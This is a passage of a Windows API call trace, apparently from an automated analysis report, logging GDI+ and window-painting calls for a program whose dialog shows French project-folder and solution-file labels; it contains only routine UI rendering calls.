returned 0x4e61ce8 [0131.889] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.889] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.889] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0131.889] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0131.889] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0131.889] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0131.889] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0131.889] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0131.889] GetCurrentObject (hdc=0x19010827, type=0x1) returned 0x1b00017 [0131.889] GetCurrentObject (hdc=0x19010827, type=0x2) returned 0x1900010 [0131.889] GetCurrentObject (hdc=0x19010827, type=0x7) returned 0x70050254 [0131.889] GetCurrentObject (hdc=0x19010827, type=0x6) returned 0x18a002e [0131.889] SaveDC (hdc=0x19010827) returned 1 [0131.889] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x780401e3 [0131.889] GetClipRgn (hdc=0x19010827, hrgn=0x780401e3) returned 0 [0131.889] SelectClipRgn (hdc=0x19010827, hrgn=0x78040850) returned 2 [0131.889] DeleteObject (ho=0x780401e3) returned 1 [0131.889] DeleteObject (ho=0x78040850) returned 1 [0131.889] OffsetViewportOrgEx (in: hdc=0x19010827, x=0, y=0, lppt=0x26f1c10 | out: lppt=0x26f1c10) returned 1 [0131.889] GetNearestColor (hdc=0x19010827, color=0xc8c8c8) returned 0xc8c8c8 [0131.889] CreateSolidBrush (color=0xc8c8c8) returned 0x2d10084d [0131.889] FillRect (hDC=0x19010827, lprc=0x32eb48, hbr=0x2d10084d) returned 1 [0131.890] DeleteObject (ho=0x2d10084d) returned 1 [0131.890] RestoreDC (hdc=0x19010827, nSavedDC=-1) returned 1 [0131.890] GdipReleaseDC (graphics=0x4c358c0, hdc=0x19010827) returned 0x0 [0131.890] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd870dbd) returned 0x0 [0131.890] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0131.890] GetWindowTextLengthW (hWnd=0x201e6) returned 23 [0131.890] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0131.890] GetSystemMetrics (nIndex=42) returned 0 [0131.890] GetWindowTextW (in: hWnd=0x201e6, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0131.890] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0131.890] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0131.890] GetCurrentObject (hdc=0x19010827, type=0x1) returned 0x1b00017 [0131.890] GetCurrentObject (hdc=0x19010827, type=0x2) returned 0x1900010 [0131.890] GetCurrentObject (hdc=0x19010827, type=0x7) returned 0x70050254 [0131.890] GetCurrentObject (hdc=0x19010827, type=0x6) returned 0x18a002e [0131.890] SaveDC (hdc=0x19010827) returned 1 [0131.890] GetNearestColor (hdc=0x19010827, color=0x0) returned 0x0 [0131.890] RestoreDC (hdc=0x19010827, nSavedDC=-1) returned 1 [0131.890] GdipReleaseDC (graphics=0x4c358c0, hdc=0x19010827) returned 0x0 [0131.890] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0131.891] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0131.891] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0131.891] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0131.891] GetCurrentObject (hdc=0x19010827, type=0x1) returned 0x1b00017 [0131.891] GetCurrentObject (hdc=0x19010827, type=0x2) returned 0x1900010 [0131.891] GetCurrentObject (hdc=0x19010827, type=0x7) returned 0x70050254 [0131.891] GetCurrentObject (hdc=0x19010827, type=0x6) returned 0x18a002e [0131.891] SaveDC (hdc=0x19010827) returned 1 [0131.891] GetTextAlign (hdc=0x19010827) returned 0x0 [0131.891] GetTextColor (hdc=0x19010827) returned 0x0 [0131.891] GetCurrentObject (hdc=0x19010827, type=0x6) returned 0x18a002e [0131.891] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0131.891] SelectObject (hdc=0x19010827, h=0x100a0252) returned 0x18a002e [0131.891] GetBkMode (hdc=0x19010827) returned 2 [0131.891] SetBkMode (hdc=0x19010827, mode=1) returned 2 [0131.891] DrawTextExW (in: hdc=0x19010827, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x32e8cc, format=0x404, lpdtp=0x26f20ec | out: lpchText="Repertoire Projet 1 : ", lprc=0x32e8cc) returned 13 [0131.891] DrawTextExW (in: hdc=0x19010827, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x32ea84, format=0x4, lpdtp=0x26f20ec | out: lpchText="Repertoire Projet 1 : ", lprc=0x32ea84) returned 13 [0131.892] RestoreDC (hdc=0x19010827, nSavedDC=-1) returned 1 [0131.892] GdipReleaseDC (graphics=0x4c358c0, hdc=0x19010827) returned 0x0 [0131.892] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0131.892] BitBlt (hdc=0x12010815, x=0, y=0, cx=161, cy=21, hdcSrc=0x19010827, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.892] GdipReleaseDC (graphics=0x4c358c0, hdc=0x19010827) returned 0x0 [0131.892] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0131.892] SelectObject (hdc=0x19010827, h=0x185000f) returned 0x70050254 [0131.892] DeleteDC (hdc=0x19010827) returned 1 [0131.892] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0131.892] EndPaint (hWnd=0x201e6, lpPaint=0x32ec44) returned 1 [0131.892] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0131.892] IsWindowUnicode (hWnd=0x301bc) returned 1 [0131.892] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0131.892] TranslateMessage (lpMsg=0x32f158) returned 0 [0131.892] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0131.892] BeginPaint (in: hWnd=0x301bc, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0xd01025e [0131.892] SelectPalette (hdc=0xd01025e, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0131.892] CreateCompatibleDC (hdc=0xd01025e) returned 0x1b010827 [0131.892] SelectObject (hdc=0x1b010827, h=0x70050254) returned 0x185000f [0131.892] GdipCreateFromHDC (hdc=0x1b010827, graphics=0x32ec60) returned 0x0 [0131.893] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.893] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0131.893] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0131.893] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0131.893] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0131.893] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.893] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0131.893] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.893] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0131.893] GdipCreateRegion (region=0x32eca8) returned 0x0 [0131.893] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0131.893] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0131.893] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0131.893] GetWindowTextLengthW (hWnd=0x301bc) returned 22 [0131.893] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0131.893] GetSystemMetrics (nIndex=42) returned 0 [0131.893] GetWindowTextW (in: hWnd=0x301bc, lpString=0x32ebcc, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0131.893] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0131.893] GetClientRect (in: hWnd=0x301bc, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0131.893] GdipCreateRegion (region=0x32eafc) returned 0x0 [0131.893] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0131.893] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0131.893] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0131.893] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0131.893] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.893] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.893] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.893] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0131.894] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.894] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.894] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.894] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0131.894] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0131.894] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0131.894] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0131.894] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0131.894] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0131.894] GetCurrentObject (hdc=0x1b010827, type=0x1) returned 0x1b00017 [0131.894] GetCurrentObject (hdc=0x1b010827, type=0x2) returned 0x1900010 [0131.894] GetCurrentObject (hdc=0x1b010827, type=0x7) returned 0x70050254 [0131.894] GetCurrentObject (hdc=0x1b010827, type=0x6) returned 0x18a002e [0131.894] SaveDC (hdc=0x1b010827) returned 1 [0131.894] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x79040850 [0131.894] GetClipRgn (hdc=0x1b010827, hrgn=0x79040850) returned 0 [0131.894] SelectClipRgn (hdc=0x1b010827, hrgn=0x7b0401e3) returned 2 [0131.894] DeleteObject (ho=0x79040850) returned 1 [0131.894] DeleteObject (ho=0x7b0401e3) returned 1 [0131.894] OffsetViewportOrgEx (in: hdc=0x1b010827, x=0, y=0, lppt=0x26f24c4 | out: lppt=0x26f24c4) returned 1 [0131.894] GetNearestColor (hdc=0x1b010827, color=0xc8c8c8) returned 0xc8c8c8 [0131.894] CreateSolidBrush (color=0xc8c8c8) returned 0x2e10084d [0131.894] FillRect (hDC=0x1b010827, lprc=0x32eb48, hbr=0x2e10084d) returned 1 [0131.894] DeleteObject (ho=0x2e10084d) returned 1 [0131.894] RestoreDC (hdc=0x1b010827, nSavedDC=-1) returned 1 [0131.895] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1b010827) returned 0x0 [0131.895] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd850dbd) returned 0x0 [0131.895] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0131.895] GetWindowTextLengthW (hWnd=0x301bc) returned 22 [0131.895] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0131.895] GetSystemMetrics (nIndex=42) returned 0 [0131.895] GetWindowTextW (in: hWnd=0x301bc, lpString=0x32ebcc, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0131.895] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0131.895] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0131.895] GetCurrentObject (hdc=0x1b010827, type=0x1) returned 0x1b00017 [0131.895] GetCurrentObject (hdc=0x1b010827, type=0x2) returned 0x1900010 [0131.895] GetCurrentObject (hdc=0x1b010827, type=0x7) returned 0x70050254 [0131.895] GetCurrentObject (hdc=0x1b010827, type=0x6) returned 0x18a002e [0131.895] SaveDC (hdc=0x1b010827) returned 1 [0131.895] GetNearestColor (hdc=0x1b010827, color=0x0) returned 0x0 [0131.895] RestoreDC (hdc=0x1b010827, nSavedDC=-1) returned 1 [0131.895] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1b010827) returned 0x0 [0131.895] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0131.895] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0131.895] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0131.895] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0131.895] GetCurrentObject (hdc=0x1b010827, type=0x1) returned 0x1b00017 [0131.896] GetCurrentObject (hdc=0x1b010827, type=0x2) returned 0x1900010 [0131.896] GetCurrentObject (hdc=0x1b010827, type=0x7) returned 0x70050254 [0131.896] GetCurrentObject (hdc=0x1b010827, type=0x6) returned 0x18a002e [0131.896] SaveDC (hdc=0x1b010827) returned 1 [0131.896] GetTextAlign (hdc=0x1b010827) returned 0x0 [0131.896] GetTextColor (hdc=0x1b010827) returned 0x0 [0131.896] GetCurrentObject (hdc=0x1b010827, type=0x6) returned 0x18a002e [0131.896] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0131.896] SelectObject (hdc=0x1b010827, h=0x100a0252) returned 0x18a002e [0131.896] GetBkMode (hdc=0x1b010827) returned 2 [0131.896] SetBkMode (hdc=0x1b010827, mode=1) returned 2 [0131.896] DrawTextExW (in: hdc=0x1b010827, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x32e8cc, format=0x404, lpdtp=0x26f29a0 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x32e8cc) returned 13 [0131.896] DrawTextExW (in: hdc=0x1b010827, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x32ea84, format=0x4, lpdtp=0x26f29a0 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x32ea84) returned 13 [0131.896] RestoreDC (hdc=0x1b010827, nSavedDC=-1) returned 1 [0131.896] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1b010827) returned 0x0 [0131.896] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0131.896] BitBlt (hdc=0xd01025e, x=0, y=0, cx=161, cy=21, hdcSrc=0x1b010827, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.896] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1b010827) returned 0x0 [0131.897] SelectPalette (hdc=0xd01025e, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0131.897] SelectObject (hdc=0x1b010827, h=0x185000f) returned 0x70050254 [0131.897] DeleteDC (hdc=0x1b010827) returned 1 [0131.897] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0131.897] EndPaint (hWnd=0x301bc, lpPaint=0x32ec44) returned 1 [0131.897] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0131.897] IsWindowUnicode (hWnd=0x201e2) returned 1 [0131.897] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0131.897] TranslateMessage (lpMsg=0x32f158) returned 0 [0131.897] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0131.897] BeginPaint (in: hWnd=0x201e2, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x12010815 [0131.897] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0131.897] CreateCompatibleDC (hdc=0x12010815) returned 0x1d010827 [0131.897] SelectObject (hdc=0x1d010827, h=0x70050254) returned 0x185000f [0131.897] GdipCreateFromHDC (hdc=0x1d010827, graphics=0x32ec60) returned 0x0 [0131.897] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.897] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0131.897] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0131.897] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0131.897] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0131.897] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.897] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0131.898] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.898] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0131.898] GdipCreateRegion (region=0x32eca8) returned 0x0 [0131.898] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0131.898] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0131.898] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0131.898] GetWindowTextLengthW (hWnd=0x201e2) returned 28 [0131.898] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0131.898] GetSystemMetrics (nIndex=42) returned 0 [0131.898] GetWindowTextW (in: hWnd=0x201e2, lpString=0x32ebc0, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0131.898] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xd, wParam=0x1d, lParam=0x32ebc0) returned 0x1c [0131.898] GetClientRect (in: hWnd=0x201e2, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0131.898] GdipCreateRegion (region=0x32eafc) returned 0x0 [0131.898] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0131.898] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0131.898] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0131.898] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0131.898] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.898] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.898] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.898] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0131.898] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.898] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.899] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.899] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0131.899] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0131.899] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0131.899] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0131.899] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0131.899] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0131.899] GetCurrentObject (hdc=0x1d010827, type=0x1) returned 0x1b00017 [0131.899] GetCurrentObject (hdc=0x1d010827, type=0x2) returned 0x1900010 [0131.899] GetCurrentObject (hdc=0x1d010827, type=0x7) returned 0x70050254 [0131.899] GetCurrentObject (hdc=0x1d010827, type=0x6) returned 0x18a002e [0131.899] SaveDC (hdc=0x1d010827) returned 1 [0131.899] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7c0401e3 [0131.899] GetClipRgn (hdc=0x1d010827, hrgn=0x7c0401e3) returned 0 [0131.899] SelectClipRgn (hdc=0x1d010827, hrgn=0x7c040850) returned 2 [0131.899] DeleteObject (ho=0x7c0401e3) returned 1 [0131.899] DeleteObject (ho=0x7c040850) returned 1 [0131.899] OffsetViewportOrgEx (in: hdc=0x1d010827, x=0, y=0, lppt=0x26f2d9c | out: lppt=0x26f2d9c) returned 1 [0131.899] GetNearestColor (hdc=0x1d010827, color=0xc8c8c8) returned 0xc8c8c8 [0131.899] CreateSolidBrush (color=0xc8c8c8) returned 0x2f10084d [0131.900] FillRect (hDC=0x1d010827, lprc=0x32eb48, hbr=0x2f10084d) returned 1 [0131.900] DeleteObject (ho=0x2f10084d) returned 1 [0131.900] RestoreDC (hdc=0x1d010827, nSavedDC=-1) returned 1 [0131.900] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1d010827) returned 0x0 [0131.900] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd830dbd) returned 0x0 [0131.900] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0131.900] GetWindowTextLengthW (hWnd=0x201e2) returned 28 [0131.900] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0131.900] GetSystemMetrics (nIndex=42) returned 0 [0131.900] GetWindowTextW (in: hWnd=0x201e2, lpString=0x32ebc0, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0131.900] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0xd, wParam=0x1d, lParam=0x32ebc0) returned 0x1c [0131.900] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0131.900] GetCurrentObject (hdc=0x1d010827, type=0x1) returned 0x1b00017 [0131.900] GetCurrentObject (hdc=0x1d010827, type=0x2) returned 0x1900010 [0131.900] GetCurrentObject (hdc=0x1d010827, type=0x7) returned 0x70050254 [0131.900] GetCurrentObject (hdc=0x1d010827, type=0x6) returned 0x18a002e [0131.900] SaveDC (hdc=0x1d010827) returned 1 [0131.900] GetNearestColor (hdc=0x1d010827, color=0x0) returned 0x0 [0131.900] RestoreDC (hdc=0x1d010827, nSavedDC=-1) returned 1 [0131.900] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1d010827) returned 0x0 [0131.901] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0131.901] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0131.901] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0131.901] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0131.901] GetCurrentObject (hdc=0x1d010827, type=0x1) returned 0x1b00017 [0131.901] GetCurrentObject (hdc=0x1d010827, type=0x2) returned 0x1900010 [0131.901] GetCurrentObject (hdc=0x1d010827, type=0x7) returned 0x70050254 [0131.901] GetCurrentObject (hdc=0x1d010827, type=0x6) returned 0x18a002e [0131.901] SaveDC (hdc=0x1d010827) returned 1 [0131.901] GetTextAlign (hdc=0x1d010827) returned 0x0 [0131.901] GetTextColor (hdc=0x1d010827) returned 0x0 [0131.901] GetCurrentObject (hdc=0x1d010827, type=0x6) returned 0x18a002e [0131.901] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0131.901] SelectObject (hdc=0x1d010827, h=0x100a0252) returned 0x18a002e [0131.901] GetBkMode (hdc=0x1d010827) returned 2 [0131.901] SetBkMode (hdc=0x1d010827, mode=1) returned 2 [0131.902] DrawTextExW (in: hdc=0x1d010827, lpchText="Fichier solution du projet :", cchText=28, lprc=0x32e8cc, format=0x404, lpdtp=0x26f329c | out: lpchText="Fichier solution du projet :", lprc=0x32e8cc) returned 13 [0131.902] DrawTextExW (in: hdc=0x1d010827, lpchText="Fichier solution du projet :", cchText=28, lprc=0x32ea84, format=0x4, lpdtp=0x26f329c | out: lpchText="Fichier solution du projet :", lprc=0x32ea84) returned 13 [0131.902] RestoreDC (hdc=0x1d010827, nSavedDC=-1) returned 1 [0131.902] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1d010827) returned 0x0 [0131.902] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0131.902] BitBlt (hdc=0x12010815, x=0, y=0, cx=161, cy=21, hdcSrc=0x1d010827, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.902] GdipReleaseDC (graphics=0x4c358c0, hdc=0x1d010827) returned 0x0 [0131.902] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0131.902] SelectObject (hdc=0x1d010827, h=0x185000f) returned 0x70050254 [0131.902] DeleteDC (hdc=0x1d010827) returned 1 [0131.902] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0131.902] EndPaint (hWnd=0x201e2, lpPaint=0x32ec44) returned 1 [0131.902] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0131.902] IsWindowUnicode (hWnd=0x201e4) returned 1 [0131.903] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0131.903] TranslateMessage (lpMsg=0x32f158) returned 0 [0131.903] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0131.903] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0xd01025e [0131.903] SelectPalette (hdc=0xd01025e, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0131.903] CreateCompatibleDC (hdc=0xd01025e) returned 0x1f010827 [0131.903] SelectObject (hdc=0x1f010827, h=0x70050254) returned 0x185000f [0131.903] GdipCreateFromHDC (hdc=0x1f010827, graphics=0x32ec54) returned 0x0 [0131.903] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.903] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0131.903] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0131.903] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0131.903] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0131.903] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.903] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0131.903] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.905] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0131.905] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0131.905] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0131.905] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0131.905] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0131.905] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd810dbd) returned 0x0 [0131.905] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0131.905] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0131.905] GetCurrentObject (hdc=0x1f010827, 